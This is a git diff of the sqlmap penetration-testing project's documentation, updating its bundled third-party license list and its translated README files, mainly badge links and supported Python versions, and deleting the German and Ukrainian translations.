||||
* for reporting a minor bug
|
||||
|
||||
|
||||
@@ -2,22 +2,27 @@ This file lists bundled packages and their associated licensing terms.
|
||||
|
||||
# BSD
|
||||
|
||||
* The `Ansistrm` library located under `thirdparty/ansistrm/`.
|
||||
* The Ansistrm library located under thirdparty/ansistrm/.
|
||||
Copyright (C) 2010-2012, Vinay Sajip.
|
||||
* The `Beautiful Soup` library located under `thirdparty/beautifulsoup/`.
|
||||
* The Beautiful Soup library located under thirdparty/beautifulsoup/.
|
||||
Copyright (C) 2004-2010, Leonard Richardson.
|
||||
* The `ClientForm` library located under `thirdparty/clientform/`.
|
||||
* The ClientForm library located under thirdparty/clientform/.
|
||||
Copyright (C) 2002-2007, John J. Lee.
|
||||
Copyright (C) 2005, Gary Poster.
|
||||
Copyright (C) 2005, Zope Corporation.
|
||||
Copyright (C) 1998-2000, Gisle Aas.
|
||||
* The `Colorama` library located under `thirdparty/colorama/`.
|
||||
* The Colorama library located under thirdparty/colorama/.
|
||||
Copyright (C) 2013, Jonathan Hartley.
|
||||
* The `Fcrypt` library located under `thirdparty/fcrypt/`.
|
||||
* The Fcrypt library located under thirdparty/fcrypt/.
|
||||
Copyright (C) 2000, 2001, 2004 Carey Evans.
|
||||
* The `PrettyPrint` library located under `thirdparty/prettyprint/`.
|
||||
* The Odict library located under thirdparty/odict/.
|
||||
Copyright (C) 2005, Nicola Larosa, Michael Foord.
|
||||
* The Oset library located under thirdparty/oset/.
|
||||
Copyright (C) 2010, BlueDynamics Alliance, Austria.
|
||||
Copyright (C) 2009, Raymond Hettinger, and others.
|
||||
* The PrettyPrint library located under thirdparty/prettyprint/.
|
||||
Copyright (C) 2010, Chris Hall.
|
||||
* The `SocksiPy` library located under `thirdparty/socks/`.
|
||||
* The SocksiPy library located under thirdparty/socks/.
|
||||
Copyright (C) 2006, Dan-Haim.
|
||||
|
||||
````
|
||||
@@ -46,17 +51,17 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
# LGPL
|
||||
|
||||
* The `Chardet` library located under `thirdparty/chardet/`.
|
||||
* The Chardet library located under thirdparty/chardet/.
|
||||
Copyright (C) 2008, Mark Pilgrim.
|
||||
* The `Gprof2dot` library located under `thirdparty/gprof2dot/`.
|
||||
* The Gprof2dot library located under thirdparty/gprof2dot/.
|
||||
Copyright (C) 2008-2009, Jose Fonseca.
|
||||
* The `KeepAlive` library located under `thirdparty/keepalive/`.
|
||||
* The KeepAlive library located under thirdparty/keepalive/.
|
||||
Copyright (C) 2002-2003, Michael D. Stenner.
|
||||
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
||||
* The MultipartPost library located under thirdparty/multipart/.
|
||||
Copyright (C) 2006, Will Holcomb.
|
||||
* The `XDot` library located under `thirdparty/xdot/`
|
||||
* The XDot library located under thirdparty/xdot/.
|
||||
Copyright (C) 2008, Jose Fonseca.
|
||||
* The `icmpsh` tool located under `extra/icmpsh/`.
|
||||
* The icmpsh tool located under extra/icmpsh/.
|
||||
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
||||
|
||||
````
|
||||
@@ -229,7 +234,7 @@ Library.
|
||||
|
||||
# PSF
|
||||
|
||||
* The `Magic` library located under `thirdparty/magic/`.
|
||||
* The Magic library located under thirdparty/magic/.
|
||||
Copyright (C) 2011, Adam Hupp.
|
||||
|
||||
````
|
||||
@@ -274,15 +279,9 @@ be bound by the terms and conditions of this License Agreement.
|
||||
|
||||
# MIT
|
||||
|
||||
* The `bottle` web framework library located under `thirdparty/bottle/`.
|
||||
* The bottle web framework library located under thirdparty/bottle/.
|
||||
Copyright (C) 2012, Marcel Hellkamp.
|
||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||
Copyright (C) 2019, Miroslav Stampar.
|
||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||
Copyright (C) 2009, Raymond Hettinger.
|
||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||
Copyright (C) 2010-2018, Benjamin Peterson.
|
||||
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
||||
* The Termcolor library located under thirdparty/termcolor/.
|
||||
Copyright (C) 2008-2011, Volvox Development Team.
|
||||
|
||||
````
|
||||
@@ -309,7 +308,7 @@ WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||
|
||||
# Public domain
|
||||
|
||||
* The `PyDes` library located under `thirdparty/pydes/`.
|
||||
* The PyDes library located under thirdparty/pydes/.
|
||||
Copyleft 2009, Todd Whiteman.
|
||||
* The `win_inet_pton` library located under `thirdparty/wininetpton/`.
|
||||
* The win_inet_pton library located under thirdparty/wininetpton/.
|
||||
Copyleft 2014, Ryan Vennell.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap e инструмент за тестване и проникване, с отворен код, който автоматизира процеса на откриване и използване на недостатъците на SQL база данните чрез SQL инжекция, която ги взима от сървъра. Снабден е с мощен детектор, множество специални функции за най-добрия тестер и широк спектър от функции, които могат да се използват за множество цели - извличане на данни от базата данни, достъп до основната файлова система и изпълняване на команди на операционната система.
|
||||
|
||||
@@ -20,7 +20,7 @@ sqlmap e инструмент за тестване и проникване, с
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6**, **2.7** и **3.x** на всички платформи.
|
||||
sqlmap работи самостоятелно с [Python](http://www.python.org/download/) версия **2.6.x** и **2.7.x** на всички платформи.
|
||||
|
||||
Използване
|
||||
----
|
||||
|
||||
@@ -1,49 +0,0 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap ist ein quelloffenes Penetrationstest Werkzeug, das die Entdeckung, Ausnutzung und Übernahme von SQL injection Schwachstellen automatisiert. Es kommt mit einer mächtigen Erkennungs-Engine, vielen Nischenfunktionen für den ultimativen Penetrationstester und einem breiten Spektrum an Funktionen von Datenbankerkennung, abrufen von Daten aus der Datenbank, zugreifen auf das unterliegende Dateisystem bis hin zur Befehlsausführung auf dem Betriebssystem mit Hilfe von out-of-band Verbindungen.
|
||||
|
||||
Screenshots
|
||||
---
|
||||
|
||||
|
||||
|
||||
Du kannst eine [Sammlung von Screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), die einige der Funktionen demonstrieren, auf dem Wiki einsehen.
|
||||
|
||||
Installation
|
||||
---
|
||||
|
||||
[Hier](https://github.com/sqlmapproject/sqlmap/tarball/master) kannst du das neueste TAR-Archiv herunterladen und [hier](https://github.com/sqlmapproject/sqlmap/zipball/master) das neueste ZIP-Archiv.
|
||||
|
||||
Vorzugsweise kannst du sqlmap herunterladen, indem du das [GIT](https://github.com/sqlmapproject/sqlmap) Repository klonst:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap funktioniert sofort mit den [Python](http://www.python.org/download/) Versionen 2.6, 2.7 und 3.x auf jeder Plattform.
|
||||
|
||||
Benutzung
|
||||
---
|
||||
|
||||
Um eine Liste aller grundsätzlichen Optionen und Switches zu bekommen, nutze diesen Befehl:
|
||||
|
||||
python sqlmap.py -h
|
||||
|
||||
Um eine Liste alles Optionen und Switches zu bekommen, nutze diesen Befehl:
|
||||
|
||||
python sqlmap.py -hh
|
||||
|
||||
Ein Probelauf ist [hier](https://asciinema.org/a/46601) zu finden. Um einen Überblick über sqlmap's Fähigkeiten, unterstütze Funktionen und eine Erklärung aller Optionen und Switches, zusammen mit Beispielen, zu erhalten, wird das [Benutzerhandbuch](https://github.com/sqlmapproject/sqlmap/wiki/Usage) empfohlen.
|
||||
|
||||
Links
|
||||
---
|
||||
|
||||
* Webseite: http://sqlmap.org
|
||||
* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||
* Problemverfolgung: https://github.com/sqlmapproject/sqlmap/issues
|
||||
* Benutzerhandbuch: https://github.com/sqlmapproject/sqlmap/wiki
|
||||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
||||
* Demonstrationen: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band".
|
||||
|
||||
@@ -19,7 +19,7 @@ Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https:/
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) **2.6**, **2.7** y **3.x** en cualquier plataforma.
|
||||
sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) ** 2.6.x** y ** 2.7.x** en cualquier plataforma.
|
||||
|
||||
Uso
|
||||
---
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
|
||||
|
||||
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](http://www.python.org/download/)
|
||||
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/)
|
||||
|
||||
Utilisation
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
|
||||
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόρμα.
|
||||
|
||||
Χρήση
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
|
||||
|
||||
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
|
||||
sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi.
|
||||
|
||||
Korištenje
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||
|
||||
@@ -21,7 +21,7 @@ Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [G
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
|
||||
sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun.
|
||||
|
||||
Penggunaan
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
|
||||
|
||||
@@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
|
||||
sqlmap è in grado di funzionare con le versioni **2.6.x** e **2.7.x** di [Python](http://www.python.org/download/) su ogni piattaforma.
|
||||
|
||||
Utilizzo
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
|
||||
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
|
||||
@@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
|
||||
sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** または **2.7.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
|
||||
|
||||
使用法
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalającuch na dostęp do systemu plików o uruchamianie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
|
||||
|
||||
@@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
|
||||
do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6.x** lub **2.7.x** na dowolnej platformie systemowej.
|
||||
|
||||
Sposób użycia
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
||||
|
||||
@@ -21,7 +21,7 @@ De preferência, você pode baixar o sqlmap clonando o repositório [Git](https:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6**, **2.7** e **3.x** em todas as plataformas.
|
||||
sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas.
|
||||
|
||||
Como usar
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
|
||||
|
||||
@@ -20,7 +20,7 @@ sqlmap - это инструмент для тестирования уязви
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6**, **2.7** и **3.x** на любой платформе.
|
||||
sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
|
||||
|
||||
Использование
|
||||
----
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
[](https://api.travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır.
|
||||
|
||||
@@ -23,7 +23,7 @@ Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayar
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6**, **2.7** and **3.x** versiyonları ile bütün platformlarda çalışabilmektedir.
|
||||
sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6.x** and **2.7.x** versiyonları ile bütün platformlarda çalışabilmektedir.
|
||||
|
||||
Kullanım
|
||||
----
|
||||
|
||||
@@ -1,50 +0,0 @@
|
||||
# sqlmap
|
||||
|
||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||
|
||||
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання.
|
||||
|
||||
Скриншоти
|
||||
----
|
||||
|
||||
|
||||
|
||||
Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які демонструють деякі функції в wiki.
|
||||
|
||||
Встановлення
|
||||
----
|
||||
|
||||
Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||
|
||||
Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію:
|
||||
|
||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||
|
||||
sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі.
|
||||
|
||||
Використання
|
||||
----
|
||||
|
||||
Щоб отримати список основних опцій і перемикачів, використовуйте:
|
||||
|
||||
python sqlmap.py -h
|
||||
|
||||
Щоб отримати список всіх опцій і перемикачів, використовуйте:
|
||||
|
||||
python sqlmap.py -hh
|
||||
|
||||
Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601).
|
||||
Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, а також прикладами, вам рекомендується скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||
|
||||
Посилання
|
||||
----
|
||||
|
||||
* Основний сайт: http://sqlmap.org
|
||||
* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||
* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
|
||||
